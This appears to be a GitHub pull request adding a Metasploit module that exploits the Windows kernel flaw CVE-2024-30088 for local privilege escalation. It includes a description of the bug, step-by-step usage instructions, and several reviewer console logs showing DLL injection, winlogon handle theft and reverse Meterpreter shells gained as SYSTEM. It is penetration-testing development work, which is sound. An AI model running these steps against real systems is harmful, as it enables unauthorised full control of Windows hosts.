Windows LPE CVE-2024-30088 #19345

jheysel-r7 · 2024-07-26T18:11:26Z

CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10,
Windows 11 and Windows Server 2022.

The vulnerability exists inside the function called AuthzBasepCopyoutInternalSecurityAttributes specifically when
the kernel copies the _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION of the current token object to user mode. When the
kernel preforms the copy of the SecurityAttributesList, it sets the list of the SecurityAttribute's structure
directly to the user supplied pointed. It then calls RtlCopyUnicodeString and
AuthzBasepCopyoutInternalSecurityAttributeValues to copy out the names and values of the SecurityAttribute leading
to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.

Setup

Windows 10 22H2 versions without the patch (before 10.0.19045.4529) are vulnerable out of the box.
This exploit module has been tested on Windows 10 version 22H2 build 19045.2965.

Verification Steps

Start msfconsole
Get a user level session on an affected Windows machine
Do: use windows/local/cve_2024_30038_authz_basep
Set the LHOST, LPORT, and SESSION options
Run the module
Receive a session running in the context of the NT AUTHORITY\SYSTEM user.

external/source/exploits/CVE-2024-30088/CVE-2024-30088/exploit.h

external/source/exploits/CVE-2024-30088/CVE-2024-30088/dllmain.c

documentation/modules/exploit/windows/local/cve_2024_30088_authz_basep.md

external/source/exploits/CVE-2024-30088/CVE-2024-30088/exploit.c

modules/exploits/windows/local/cve_2024_30088_authz_basep.rb

external/source/exploits/CVE-2024-30088/CVE-2024-30088/dllmain.c

…/metasploit-framework into win-kernel-lpe-cve-2024-30038

bwatters-r7 · 2024-08-28T22:49:52Z

The file external/source/exploits/CVE-2024-30088/CVE-2024-30088/ReflectiveFreeAndExitThread.c still exists, but it is empty?

external/source/exploits/CVE-2024-30088/CVE-2024-30088/exploit.c

external/source/exploits/CVE-2024-30088/CVE-2024-30088/exploit.h

external/source/exploits/CVE-2024-30088/CVE-2024-30088/exploit.c

external/source/exploits/CVE-2024-30088/CVE-2024-30088/exploit.h

external/source/exploits/CVE-2024-30088/CVE-2024-30088/dllmain.c

external/source/exploits/CVE-2024-30088/CVE-2024-30088/ReflectiveFreeAndExitThread.c

external/source/exploits/CVE-2024-30088/CVE-2024-30088/exploit.h

jheysel-r7

Thanks for the detailed review @bwatters! I've applied your suggestions recompiled the dll and retested the module.

msf6 exploit(windows/local/cve_2024_30088_authz_basep) > rexploit
[*] Reloading module...

[-] Handler failed to bind to 172.16.199.1:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: Windows 10+ Build 19045
[*] Reflectively injecting the DLL into 8680...
[*] Attempting to steal the handle from the winlogon process...
[+] Successfully stole winlogon handle: 1936
[+] Successfully retrieved winlogon pid: 720
[*] Sending stage (201798 bytes) to 172.16.199.139
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.139:53613) at 2024-08-29 19:13:23 -0400

[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/cve_2024_30088_authz_basep) >
msf6 exploit(windows/local/cve_2024_30088_authz_basep) > sessions -i -1
[*] Starting interaction with 3...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-FGNRA7E
OS              : Windows 10 (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

external/source/exploits/CVE-2024-30088/CVE-2024-30088/exploit.h

external/source/exploits/CVE-2024-30088/CVE-2024-30088/dllmain.c

external/source/exploits/CVE-2024-30088/CVE-2024-30088/ReflectiveFreeAndExitThread.c

external/source/exploits/CVE-2024-30088/CVE-2024-30088/exploit.h

bwatters-r7 · 2024-09-03T21:27:43Z

I have not been able to get this to work. I'm running this on Windows 10.0.19045.2006

jheysel-r7 · 2024-09-11T15:32:23Z

Just posting for context. The first time I tested on 10.0.19045.2006 the exploit did fail. I reestablished a second user level session and the exploit succeeded on the second attempt - after this I updated the Reliability comment 05c3c9a as in my experience the exploit had usually worked on the first attempt. Apologies for the flaky-ness.

msf6 exploit(windows/local/cve_2024_30088_authz_basep) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.123.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: Windows 10+ Build 19045
[*] Reflectively injecting the DLL into 8112...
[+] The exploit was successful, reading SYSTEM token from memory...
[+] Successfully stole winlogon handle: 1896
[+] Successfully retrieved winlogon pid: 9140
[*] Sending stage (201798 bytes) to 192.168.123.238
[*] Meterpreter session 13 opened (192.168.123.1:5555 -> 192.168.123.238:49676) at 2024-09-04 13:31:26 -0700

meterpreter > shell
Process 8848 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19045.2006]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>ver
ver

Microsoft Windows [Version 10.0.19045.2006]

C:\Windows\system32>

dledda-r7

Looks good to me.

msf6 payload(windows/x64/meterpreter/reverse_tcp) > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2024_30088_authz_basep) > show options

Module options (exploit/windows/local/cve_2024_30088_authz_basep):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.26.90.20     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x64



View the full module info with the info, or info -d command.

msf6 exploit(windows/local/cve_2024_30088_authz_basep) > set lport 4445
lport => 4445
msf6 exploit(windows/local/cve_2024_30088_authz_basep) > set session -1
session => -1
msf6 exploit(windows/local/cve_2024_30088_authz_basep) > exploit

[*] Started reverse TCP handler on 172.26.90.20:4445 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: Windows 10+ Build 19045
[*] Reflectively injecting the DLL into 2676...
[+] The exploit was successful, reading SYSTEM token from memory...
[+] Successfully stole winlogon handle: 2740
[+] Successfully retrieved winlogon pid: 3680
[*] Sending stage (201798 bytes) to 172.26.91.192
[*] Meterpreter session 2 opened (172.26.90.20:4445 -> 172.26.91.192:50278) at 2024-09-16 09:32:53 -0400

meterpreter > sysinfo
Computer        : DESKTOP-9VQV3U4
OS              : Windows 10 (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 4
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 8728 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19045.2251]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>ver
ver

Microsoft Windows [Version 10.0.19045.2251]

C:\Windows\system32>

msf6 payload(windows/x64/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 4...

meterpreter > getuid
Server username: DESKTOP-V413087\msfconsole
meterpreter > bg 
[*] Backgrounding session 4...
msf6 payload(windows/x64/meterpreter_reverse_tcp) > search authz_basep

Matching Modules
================

   #  Name                                              Disclosure Date  Rank       Check  Description
   -  ----                                              ---------------  ----       -----  -----------
   0  exploit/windows/local/cve_2024_30088_authz_basep  2024-06-11       excellent  Yes    Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutInternalSecurityAttributes


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/local/cve_2024_30088_authz_basep

msf6 payload(windows/x64/meterpreter_reverse_tcp) > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2024_30088_authz_basep) > set payload windows/x64/meterpreter_reverse_tcp
payload => windows/x64/meterpreter_reverse_tcp
msf6 exploit(windows/local/cve_2024_30088_authz_basep) > show options

Module options (exploit/windows/local/cve_2024_30088_authz_basep):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


Payload options (windows/x64/meterpreter_reverse_tcp):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   EXITFUNC    process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   EXTENSIONS                   no        Comma-separate list of extensions to load
   EXTINIT                      no        Initialization strings for extensions
   LHOST       172.31.7.159     yes       The listen address (an interface may be specified)
   LPORT       4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x64



View the full module info with the info, or info -d command.

msf6 exploit(windows/local/cve_2024_30088_authz_basep) > set lport 4445
lport => 4445
msf6 exploit(windows/local/cve_2024_30088_authz_basep) > set lhost 192.168.3.3
lhost => 192.168.3.3
msf6 exploit(windows/local/cve_2024_30088_authz_basep) > set session -1
session => -1
msf6 exploit(windows/local/cve_2024_30088_authz_basep) > exploit

[*] Started reverse TCP handler on 192.168.3.3:4445 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: Windows 10+ Build 19045
[*] Reflectively injecting the DLL into 3960...
[+] The exploit was successful, reading SYSTEM token from memory...
[+] Successfully stole winlogon handle: 8008
[+] Successfully retrieved winlogon pid: 568
[*] Meterpreter session 5 opened (192.168.3.3:4445 -> 10.5.134.118:50287) at 2024-09-17 07:41:41 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
vProcess 1908 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19045.2006]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>ver
ver

Microsoft Windows [Version 10.0.19045.2006]

C:\Windows\system32>

dledda-r7 · 2024-09-17T12:29:39Z

Release Notes

This adds a Windows LPE post module that exploits CVE-2024-30088. Once the exploit is executed through a running meterpreter session, it will open another one with NT AUTHORITY/SYSTEM privileges.

jheysel-r7 force-pushed the win-kernel-lpe-cve-2024-30038 branch from 14b5ad0 to 4811577 Compare August 22, 2024 01:23

jheysel-r7 marked this pull request as ready for review August 22, 2024 01:52

Windows LPE CVE-2024-30088

31348da

jheysel-r7 force-pushed the win-kernel-lpe-cve-2024-30038 branch from bed314c to 31348da Compare August 22, 2024 06:23

jheysel-r7 changed the title ~~WIP CVE-2024-30088~~ Windows LPE CVE-2024-30088 Aug 22, 2024

jheysel-r7 added a2k19 Hackathon 2019 in Austin module docs and removed a2k19 Hackathon 2019 in Austin labels Aug 22, 2024

jheysel-r7 commented Aug 22, 2024

View reviewed changes

Apply suggestions from code review

bde9fca

dledda-r7 reviewed Aug 22, 2024

View reviewed changes

external/source/exploits/CVE-2024-30088/CVE-2024-30088/exploit.c Outdated Show resolved Hide resolved

smcintyre-r7 reviewed Aug 22, 2024

View reviewed changes

modules/exploits/windows/local/cve_2024_30088_authz_basep.rb Outdated Show resolved Hide resolved

modules/exploits/windows/local/cve_2024_30088_authz_basep.rb Show resolved Hide resolved

smcintyre-r7 reviewed Aug 22, 2024

View reviewed changes

external/source/exploits/CVE-2024-30088/CVE-2024-30088/dllmain.c Show resolved Hide resolved

jheysel-r7 added 2 commits August 22, 2024 13:06

Responded to comments

6689614

Merge branch 'win-kernel-lpe-cve-2024-30038' of github.com:jheysel-r7…

f637891

…/metasploit-framework into win-kernel-lpe-cve-2024-30038

bwatters-r7 self-assigned this Aug 28, 2024

Add missing file

e40f6cb

bwatters-r7 reviewed Aug 29, 2024

View reviewed changes

Add correct missing file

b322343

jheysel-r7 commented Aug 29, 2024

View reviewed changes

jheysel-r7 added 3 commits August 29, 2024 22:25

Responded to comments

b011b67

Removed memory polling

7bfd814

Rubocop

9ad5b41

jheysel-r7 added 2 commits September 4, 2024 13:39

Remove SLEEP datastore option

2da95eb

Updated reliability comment

05c3c9a

dledda-r7 self-assigned this Sep 11, 2024

dledda-r7 approved these changes Sep 16, 2024

View reviewed changes

dledda-r7 merged commit 0bf5244 into rapid7:master Sep 17, 2024
63 checks passed

dledda-r7 added the rn-modules release notes for new or majorly enhanced modules label Sep 17, 2024

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Windows LPE CVE-2024-30088 #19345

Windows LPE CVE-2024-30088 #19345

jheysel-r7 commented Jul 26, 2024 •

edited

Loading

bwatters-r7 commented Aug 28, 2024

jheysel-r7 left a comment

bwatters-r7 commented Sep 3, 2024

jheysel-r7 commented Sep 11, 2024

dledda-r7 left a comment •

edited

Loading

dledda-r7 commented Sep 17, 2024 •

edited

Loading

Windows LPE CVE-2024-30088 #19345

Windows LPE CVE-2024-30088 #19345

Conversation

jheysel-r7 commented Jul 26, 2024 • edited Loading

Setup

Verification Steps

bwatters-r7 commented Aug 28, 2024

jheysel-r7 left a comment

Choose a reason for hiding this comment

bwatters-r7 commented Sep 3, 2024

jheysel-r7 commented Sep 11, 2024

dledda-r7 left a comment • edited Loading

Choose a reason for hiding this comment

dledda-r7 commented Sep 17, 2024 • edited Loading

Release Notes

jheysel-r7 commented Jul 26, 2024 •

edited

Loading

dledda-r7 left a comment •

edited

Loading

dledda-r7 commented Sep 17, 2024 •

edited

Loading